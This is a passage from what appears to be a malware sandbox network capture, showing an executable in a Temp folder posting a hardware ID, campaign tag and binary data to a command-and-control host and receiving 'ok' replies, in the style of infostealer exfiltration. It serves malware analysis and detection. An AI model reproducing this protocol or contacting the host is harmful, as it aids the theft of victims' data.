6f 37 75 6b 6e Data Ascii: H4vRMpsWmqF9ZlPQfJ9dPeLtD/eAWrNdlntoTgsa/Xyvy3ESeqL7VeyyAoDoChn5JpkPNqQfNy+2WjgMy/udSE5P0EbqAl9QGPIj8Dgqub0jXV+nkAoTTVb7mF472o28j7tBo8tSyzS8VldEuOtdOKZ+bkZRC9cOFhu43kqujCiuLzGiLncfVSzyk9A4+pm90o2eZzDaUg02K8jeywodDD9rgXI6MutBmBZT0TyfXT5Dfd+FwKpzuUffuao7ukn
2024-12-02 10:21:56 UTC	1369	IN	Data Raw: 63 49 4b 67 6f 73 56 7a 4b 49 54 30 50 6a 36 4c 54 6e 47 66 58 37 44 4a 5a 36 78 33 7a 56 2f 65 69 32 66 79 33 6b 39 32 37 74 42 46 75 2f 32 6d 35 57 73 4d 74 4e 51 32 41 6f 5a 6e 62 4c 4e 7a 2f 64 67 32 69 4e 39 4a 6a 73 49 62 69 75 4b 54 58 77 76 69 77 45 69 47 6f 49 66 55 58 6a 79 49 69 53 39 48 74 74 73 55 73 33 76 49 79 48 75 55 72 6c 47 57 35 77 37 76 38 70 4e 54 43 2f 62 59 52 4c 36 45 68 73 46 48 4c 4a 44 77 4e 69 71 4b 58 31 79 62 66 38 48 34 50 6f 54 50 56 62 72 36 4d 36 4c 6e 6f 6b 34 54 38 71 31 31 32 35 78 69 32 54 39 67 31 4e 6b 75 57 34 34 71 53 49 4e 79 30 4b 6b 47 71 49 4e 35 6f 75 34 62 73 75 61 76 53 77 2f 61 31 45 53 53 75 49 62 4e 57 78 6a 63 35 42 34 65 71 6e 64 34 70 33 66 35 78 44 4f 74 38 6c 47 57 74 77 37 76 38 68 4e 72 4a 31 62 Data Ascii: cIKgosVzKIT0Pj6LTnGfX7DJZ6x3zV/ei2fy3k927tBFu/2m5WsMtNQ2AoZnbLNz/dg2iN9JjsIbiuKTXwviwEiGoIfUXjyIiS9HttsUs3vIyHuUrlGW5w7v8pNTC/bYRL6EhsFHLJDwNiqKX1ybf8H4PoTPVbr6M6Lnok4T8q1125xi2T9g1NkuW44qSINy0KkGqIN5ou4bsuavSw/a1ESSuIbNWxjc5B4eqnd4p3f5xDOt8lGWtw7v8hNrJ1b
2024-12-02 10:21:56 UTC	1369	IN	Data Raw: 4c 4b 64 4c 6a 32 74 36 44 4a 48 74 79 35 49 52 31 2b 52 69 41 75 6b 44 77 6d 47 6a 69 4f 36 77 36 4d 4b 4b 34 76 4d 61 49 75 64 78 39 56 2f 41 4c 44 6b 45 69 4b 53 66 33 79 4c 5a 38 58 4d 48 72 7a 6a 65 59 72 4f 46 34 72 6d 69 33 73 58 78 75 68 6f 6d 6f 43 71 6e 47 59 46 6c 50 52 50 4a 39 64 50 37 49 4d 4c 36 59 6b 47 30 66 4d 30 69 73 6f 2b 6a 35 4f 6a 5a 7a 76 53 33 47 69 4b 68 4c 4c 4e 55 7a 69 6f 37 43 34 61 70 6d 4e 73 68 30 66 6c 33 44 4b 38 67 33 6d 6d 36 6a 2b 71 77 70 5a 32 4b 75 37 51 46 62 76 39 70 68 46 54 42 4b 7a 30 64 79 62 4c 64 79 32 66 58 2b 44 4a 5a 36 7a 50 59 62 62 61 4d 34 4c 2b 70 31 39 62 70 76 78 51 6d 6f 69 57 2b 56 38 6b 33 50 41 53 41 72 70 44 62 49 4e 6a 34 65 41 4b 73 63 70 6f 69 73 70 75 6a 35 4f 6a 2b 30 2b 75 2b 58 54 48 Data Ascii: LKdLj2t6DJHty5IR1+RiAukDwmGjiO6w6MKK4vMaIudx9V/ALDkEiKSf3yLZ8XMHrzjeYrOF4rmi3sXxuhomoCqnGYFlPRPJ9dP7IML6YkG0fM0iso+j5OjZzvS3GiKhLLNUzio7C4apmNsh0fl3DK8g3mm6j+qwpZ2Ku7QFbv9phFTBKz0dybLdy2fX+DJZ6zPYbbaM4L+p19bpvxQmoiW+V8k3PASArpDbINj4eAKscpoispuj5Oj+0+u+XTH
2024-12-02 10:21:56 UTC	1369	IN	Data Raw: 38 59 6a 50 51 32 48 76 35 62 55 4b 4e 2f 39 65 77 57 6a 4d 64 52 6d 73 59 54 6d 76 36 54 57 77 2f 69 38 47 53 65 70 49 4c 6f 5a 67 57 55 39 45 38 6e 31 30 2f 4d 38 30 2f 68 2f 51 62 52 38 7a 53 4b 79 6a 36 50 6b 36 4e 48 4b 2f 72 4d 58 4b 4b 4d 73 73 31 50 4b 4a 54 45 49 68 71 6d 56 31 69 6a 51 2f 33 73 41 72 54 66 65 61 62 4f 4f 34 4c 71 75 6e 59 71 37 74 41 56 75 2f 32 6d 56 51 73 49 70 50 55 75 57 34 34 71 53 49 4e 79 30 4b 6b 47 67 50 74 42 6c 74 59 37 67 74 4b 33 5a 7a 76 36 7a 46 54 79 76 4b 62 4a 4c 33 53 55 7a 44 6f 57 75 6b 39 59 68 32 66 4a 78 42 65 74 38 6c 47 57 74 77 37 76 38 68 64 48 44 30 72 51 47 62 72 68 6e 72 42 6e 49 4b 58 70 54 79 61 79 59 32 43 6a 64 39 33 51 43 6f 44 66 65 59 37 4b 4c 37 71 36 72 30 73 76 2f 73 78 49 6f 6f 53 69 36 Data Ascii: 8YjPQ2Hv5bUKN/9ewWjMdRmsYTmv6TWw/i8GSepILoZgWU9E8n10/M80/h/QbR8zSKyj6Pk6NHK/rMXKKMss1PKJTEIhqmV1ijQ/3sArTfeabOO4LqunYq7tAVu/2mVQsIpPUuW44qSINy0KkGgPtBltY7gtK3Zzv6zFTyvKbJL3SUzDoWuk9Yh2fJxBet8lGWtw7v8hdHD0rQGbrhnrBnIKXpTyayY2Cjd93QCoDfeY7KL7q6r0sv/sxIooSi6
2024-12-02 10:21:56 UTC	1369	IN	Data Raw: 77 49 6e 36 37 55 37 42 6e 33 34 6e 67 47 75 7a 58 44 62 66 58 4e 6f 37 50 6f 68 66 32 37 75 68 6f 31 74 6a 2b 34 53 63 68 6c 42 55 58 4a 74 64 4f 4b 5a 2b 58 33 66 41 2b 73 4a 4d 55 76 6b 70 58 70 75 37 6a 61 30 2f 54 7a 55 32 36 68 61 65 30 4b 67 57 55 2b 47 73 6e 31 77 34 42 38 68 61 63 6c 55 66 6b 74 6d 6e 76 31 6c 61 50 6b 2b 70 4f 45 36 66 4e 46 62 75 41 71 70 30 76 4a 4a 69 77 49 7a 70 4f 74 39 54 33 64 38 6d 55 51 6c 51 7a 54 65 4c 69 46 39 4b 33 6b 79 4d 66 31 76 52 6f 34 35 32 66 31 56 6f 39 39 41 30 76 42 37 61 79 63 5a 38 69 30 4b 6b 47 65 4d 64 70 73 73 70 58 79 38 59 2f 48 79 66 32 6b 44 47 37 70 61 62 4d 5a 6c 33 56 30 53 34 32 38 30 34 70 33 67 71 38 6e 55 76 78 69 68 6e 33 37 6d 71 4f 71 36 49 57 57 74 66 4d 50 62 76 39 70 38 6c 72 64 4e Data Ascii: wIn67U7Bn34ngGuzXDbfXNo7Pohf27uho1tj+4SchlBUXJtdOKZ+X3fA+sJMUvkpXpu7ja0/TzU26hae0KgWU+Gsn1w4B8haclUfktmnv1laPk+pOE6fNFbuAqp0vJJiwIzpOt9T3d8mUQlQzTeLiF9K3kyMf1vRo452f1Vo99A0vB7aycZ8i0KkGeMdpsspXy8Y/Hyf2kDG7pabMZl3V0S42804p3gq8nUvxihn37mqOq6IWWtfMPbv9p8lrdN
2024-12-02 10:21:56 UTC	1369	IN	Data Raw: 53 33 5a 49 2f 6b 4b 77 79 4e 4b 67 38 32 6d 57 6a 6b 71 36 62 70 74 72 46 37 61 4d 4b 49 65 64 6e 39 56 2b 50 66 57 68 46 79 61 6d 43 6b 6e 2b 41 70 69 6c 55 2b 47 57 45 4d 4b 72 4e 2b 76 79 2b 6e 5a 79 70 2f 56 30 38 35 33 48 31 48 73 77 33 4b 41 32 4b 75 35 43 56 47 65 37 54 66 41 61 71 4a 4d 52 31 75 73 7a 4e 69 6f 6e 6a 2b 75 36 77 45 79 43 67 50 36 51 5a 67 57 55 31 53 39 47 55 30 35 70 6e 37 37 6f 79 47 65 74 71 6c 46 65 32 6a 65 32 37 76 73 79 4a 33 4c 30 61 4c 37 45 35 6f 6c 61 41 43 77 77 71 79 65 50 54 31 47 65 49 70 6a 78 42 72 79 4f 55 4f 75 58 52 75 4f 6e 37 69 70 53 70 72 46 4d 33 35 7a 2f 31 41 5a 31 72 65 68 6e 4a 39 64 4f 56 4a 4d 4c 6d 64 41 4b 39 4d 5a 4e 63 69 36 54 74 75 36 6e 4c 31 50 61 2f 50 43 32 32 49 34 74 6e 32 69 59 30 42 59 Data Ascii: S3ZI/kKwyNKg82mWjkq6bptrF7aMKIedn9V+PfWhFyamCkn+ApilU+GWEMKrN+vy+nZyp/V0853H1Hsw3KA2Ku5CVGe7TfAaqJMR1uszNionj+u6wEyCgP6QZgWU1S9GU05pn77oyGetqlFe2je27vsyJ3L0aL7E5olaACwwqyePT1GeIpjxBryOUOuXRuOn7ipSprFM35z/1AZ1rehnJ9dOVJMLmdAK9MZNci6Ttu6nL1Pa/PC22I4tn2iY0BY
2024-12-02 10:21:56 UTC	1369	IN	Data Raw: 4a 74 50 36 63 52 4f 35 4e 4e 64 30 74 73 54 64 67 6f 58 50 77 2b 75 77 58 78 2b 71 4c 61 4e 4d 7a 44 55 39 4e 62 65 41 67 64 55 33 30 37 5a 65 42 71 59 2b 36 6c 79 43 6b 75 53 73 36 76 76 48 37 62 42 64 59 4f 63 78 39 51 47 50 43 43 67 4d 6d 61 37 52 2f 69 44 64 2b 44 49 65 35 53 75 55 64 50 58 62 73 50 4c 6f 7a 34 53 6a 38 31 6f 74 74 54 75 7a 57 74 6b 6d 66 54 57 33 67 49 48 56 4e 39 4f 32 51 77 79 76 4a 4d 46 68 70 59 54 64 67 6f 58 50 77 2b 75 77 58 77 75 64 61 34 52 50 7a 43 55 30 44 4d 6e 6a 30 38 70 6e 69 4c 52 66 45 36 77 69 31 79 43 51 75 61 47 4e 76 74 37 45 39 62 52 64 59 4f 63 6c 39 51 47 50 4b 43 67 4d 6d 61 37 66 31 54 33 58 74 47 31 50 73 6e 4c 43 49 75 33 51 72 66 79 36 6e 5a 79 37 39 42 4d 6a 70 69 71 37 57 74 30 33 50 41 69 66 72 74 54 Data Ascii: JtP6cRO5NNd0tsTdgoXPw+uwXx+qLaNMzDU9NbeAgdU307ZeBqY+6lyCkuSs6vvH7bBdYOcx9QGPCCgMma7R/iDd+DIe5SuUdPXbsPLoz4Sj81ottTuzWtkmfTW3gIHVN9O2QwyvJMFhpYTdgoXPw+uwXwuda4RPzCU0DMnj08pniLRfE6wi1yCQuaGNvt7E9bRdYOcl9QGPKCgMma7f1T3XtG1PsnLCIu3Qrfy6nZy79BMjpiq7Wt03PAifrtT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49778	172.67.165.166	443	7964	C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:21:56 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=80ZQI0PL3BJ9Z User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20517 Host: atten-supporse.biz
2024-12-02 10:21:56 UTC	15331	OUT	Data Raw: 2d 2d 38 30 5a 51 49 30 50 4c 33 42 4a 39 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 38 30 5a 51 49 30 50 4c 33 42 4a 39 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 30 5a 51 49 30 50 4c 33 42 4a 39 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 38 30 5a 51 49 Data Ascii: --80ZQI0PL3BJ9ZContent-Disposition: form-data; name="hwid"033285EDB129FD4CDB71E32F12885CB3--80ZQI0PL3BJ9ZContent-Disposition: form-data; name="pid"2--80ZQI0PL3BJ9ZContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--80ZQI
2024-12-02 10:21:56 UTC	5186	OUT	Data Raw: 5d 24 4a f9 38 8c 8d c8 d8 88 59 ce a4 d9 0c 69 9c 26 32 4a 9a 6a 24 9a d6 c6 af b2 d2 c3 4f 74 3a 9a 3a 3e 33 de c8 f0 99 53 73 e3 e7 d9 70 93 b2 13 ce 1d 3b 9b 5e 5e 9e 53 4e a6 e7 ce 56 87 79 72 93 81 b7 6e 36 61 76 88 9f 71 a0 bf ad 5a e8 36 1a 36 a9 1b 99 b3 79 00 7b 16 0a ba e5 b4 8f 87 af 4d 07 78 8e 3e e3 6b 95 4c 36 90 92 a9 a3 b1 52 49 d4 c6 23 b1 70 7e 3e 15 79 ec fc dc fc 62 64 45 bb 1c f1 86 96 72 41 c9 46 b4 b8 9a 8c 11 92 62 dd b1 64 82 ad 90 34 9b 76 8b b2 49 b7 4c 5c c9 c6 b2 b1 c8 f6 e1 e8 f4 71 db aa 55 97 58 ad 90 63 47 1c 3f c6 0a dd 19 e2 96 73 6f ea 49 c6 67 1f b5 d8 a8 84 8f 5d 59 a2 38 35 93 df 86 77 ae 5c 97 c8 33 35 b7 7c 86 b0 7e 5e 8e 0d 4a b3 b1 4c 2a ad a4 f3 85 38 ab 73 0a 29 76 ee 2c 51 b3 f1 44 56 a5 4a ba 98 49 25 e2 e9 Data Ascii: ]$J8Yi&2Jj$Ot::>3Ssp;^^SNVyrn6avqZ66y{Mx>kL6RI#p~>ybdErAFbd4vIL\qUXcG?soIg]Y85w\35\|~^JL*8s)v,QDVJI%
2024-12-02 10:21:59 UTC	1032	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=njplh7ime8kqleri04j09h6dog; expires=Fri, 28-Mar-2025 04:08:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Nv9hhTeFGwG%2BfbtR%2B%2BUrehGYwx9umdsPn%2FFheDtaGIJZYfodlqFuMVyV1t%2BIZCjcNmpaNfynCzti5bSezyiO9ZO2KnaYtrwSfCCqpsI26wnH99w8FPE1Z%2Fzfb5Viy%2F4wEKCz2Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba97cd9c452eef-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=157112&min_rtt=157053&rtt_var=33235&sent=17&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21476&delivery_rate=24343&cwnd=252&unsent_bytes=0&cid=2fbce4a147dc7132&ts=2762&x=0"
2024-12-02 10:21:59 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 0d 0a Data Ascii: 11ok 173.244.56.169
2024-12-02 10:21:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49781	172.67.165.166	443	7964	C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:21:59 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IZA96AXZ7I4PAZDRG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 10938 Host: atten-supporse.biz
2024-12-02 10:21:59 UTC	10938	OUT	Data Raw: 2d 2d 49 5a 41 39 36 41 58 5a 37 49 34 50 41 5a 44 52 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 49 5a 41 39 36 41 58 5a 37 49 34 50 41 5a 44 52 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 5a 41 39 36 41 58 5a 37 49 34 50 41 5a 44 52 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --IZA96AXZ7I4PAZDRGContent-Disposition: form-data; name="hwid"033285EDB129FD4CDB71E32F12885CB3--IZA96AXZ7I4PAZDRGContent-Disposition: form-data; name="pid"2--IZA96AXZ7I4PAZDRGContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-02 10:22:03 UTC	1024	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i040tucnifphdcpjolo5463d71; expires=Fri, 28-Mar-2025 04:08:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=orOFfkGLwgEfIMHRg2w0hqJqUVdsteyVGsg98yaSCD%2FKQpVEjH09zfTzGsIVdtT2vnyeIDr53uuGU1N1Pbk351%2B1Q3z49X8n3%2BMKcRSKpkhUK4liPV8sm6DTdpBRpjhDr8gIQsY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba97e2885208af-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=157131&min_rtt=157035&rtt_var=33280&sent=10&recv=16&lost=0&retrans=0&sent_bytes=2846&recv_bytes=11879&delivery_rate=24337&cwnd=252&unsent_bytes=0&cid=2fa4f1201bfcd0d6&ts=3368&x=0"
2024-12-02 10:22:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 0d 0a Data Ascii: 11ok 173.244.56.169
2024-12-02 10:22:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.11.20	49782	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:01 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-02 10:22:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-02 10:22:03 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ejblcq38r93pn7ckdngf7fbq6n; expires=Fri, 28-Mar-2025 04:08:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xRowl2x7CsQCqa7lLVlGDW3kBZ4HhhIvf6zce9wsIeLOIjYeZUD8TWFjCCuWq8OvOPv%2FkDR5U9f43FPFJRJgxi9Ky9upFzRCT0jye35158DEFrwwl5ZXtdMtus7m5Epz7RpzMIw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba97ebdeee7cb6-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=157017&min_rtt=156860&rtt_var=33331&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=24342&cwnd=252&unsent_bytes=0&cid=63682536f95adede&ts=2589&x=0"
2024-12-02 10:22:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-02 10:22:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49786	172.67.165.166	443	7964	C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:04 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B24AU69XNSCZ2T452N User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20573 Host: atten-supporse.biz
2024-12-02 10:22:04 UTC	15331	OUT	Data Raw: 2d 2d 42 32 34 41 55 36 39 58 4e 53 43 5a 32 54 34 35 32 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 42 32 34 41 55 36 39 58 4e 53 43 5a 32 54 34 35 32 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 32 34 41 55 36 39 58 4e 53 43 5a 32 54 34 35 32 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --B24AU69XNSCZ2T452NContent-Disposition: form-data; name="hwid"033285EDB129FD4CDB71E32F12885CB3--B24AU69XNSCZ2T452NContent-Disposition: form-data; name="pid"3--B24AU69XNSCZ2T452NContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-02 10:22:04 UTC	5242	OUT	Data Raw: 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 4d d1 61 7a dd 77 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb 5c 6f 74 98 5e f7 dd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a b7 29 3a 4c af fb 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9d eb 8d 0e d3 eb be 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 36 45 87 e9 75 df 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 bd d1 61 7a dd 77 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Mazw\ot^:):Ln`X6Eusazw
2024-12-02 10:22:08 UTC	1032	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7veit6qt8iahubla1qcca308ir; expires=Fri, 28-Mar-2025 04:08:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dosWmplaPWbOs%2FSbaR5ketJIBTjBjK9RdWIWN%2F%2FsNYf85Ug%2BO%2FBVm2b8%2F%2BO5YayO8ZU5u9PFF1gEUlIcRI9ejxVO6MmeJaBSDNzRzz3QG8gvTBuGc146GBLRDw1Z78n1yvaxiWg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba97fcccda2ee4-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=156966&min_rtt=156835&rtt_var=33288&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21537&delivery_rate=24356&cwnd=252&unsent_bytes=0&cid=685f792c9bfff68c&ts=4228&x=0"
2024-12-02 10:22:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 0d 0a Data Ascii: 11ok 173.244.56.169
2024-12-02 10:22:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.11.20	49787	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:04 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-02 10:22:04 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-02 10:22:06 UTC	1028	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9e10dshtevi2152ur3381b8dhd; expires=Fri, 28-Mar-2025 04:08:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lwEcY3EexWnP3kiOcau%2BE00TXEG7P%2Bsev0%2Bxfbh0HpoXjs1cMNUlQegImTMuwyL73%2BYl5o4qk3lp%2Fs9kWAu8fJJV0%2BxFO3r6B%2FfXyMZ9bCayoExjWJHtZI1pesYgBbpSfgS6brM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba97fe5db32b6d-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=157035&min_rtt=156913&rtt_var=33288&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=24352&cwnd=252&unsent_bytes=0&cid=26c806196d917bcc&ts=2745&x=0"
